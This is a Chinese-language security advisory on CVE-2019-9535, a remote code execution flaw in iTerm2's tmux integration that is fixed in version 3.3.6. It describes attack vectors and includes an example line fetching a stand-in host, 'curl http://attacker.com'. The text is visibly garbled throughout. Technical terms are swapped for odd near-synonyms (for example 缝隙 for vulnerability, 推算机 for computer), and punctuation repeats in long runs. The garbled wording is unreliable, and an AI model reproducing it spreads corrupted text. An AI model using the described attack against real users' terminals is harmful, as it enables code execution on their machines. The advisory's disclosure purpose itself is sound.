iTerm2远程代码执行缝隙安全公告
颁布功夫 2019-10-10缝隙编号和级别
CVE编号：CVE-2019-9535， ，，，，危险级别：高危， ，，，，CVSS分值：官方未评定
影响版本
iTerm2 3.3.5之前的所有版本均受缝隙影响
缝隙概述
iTerm2 是全球最热点的终端模拟器之一， ，，，，是开发人员时时使用的 MacOS 终端工具， ，，，，是Mac 内置终端 app 最有力的热点开源工具代替品之一， ，，，，被好多开发人员称为“Mac 终端利器”。。。。。。。。
iTerm2官方颁布了安全更新建复了一个至少存在7年的远程代码执行缝隙， ，，，，这个缝隙源自 iTerm2 中的 tmux 集成功能。。。。。。。。Tumx 利用法式是一款终端多路复用器， ，，，，可允许从单个设备创建并节造多个终端。。。。。。。。
攻击者能够在用户的终端产生输出， ，，，，潜在的攻击向量蕴含通过 ssh 衔接至恶意服务器， ，，，，通过curl 获取恶意网站， ，，，，或者通过 tail –f 跟踪蕴含某些恶意内容的日志文件。。。。。。。。例如：curl http://attacker.com and tail -f /var/log/apache2/referer_lo。。。。。。。。在好多情况下可能在用户推算机上执行号令。。。。。。。。
缝隙验证
国表的Radially Open Security已经放露马脚利用成功的视频：https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/security/files/2019/10/cve-2019-9535.webm?_=3。。。。。。。。模拟受害者机械衔接到恶意 SSH 服务器之后， ，，，，在机械上执行打开一个推算器号令的PoC 视频。。。。。。。。
建复建议
官方已经推出安全更新， ，，，，请更新至iTerm2到3.3.6版本：https://iterm2.com/downloads.html。。。。。。。。
参考链接
https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/
京公网安备11010802024551号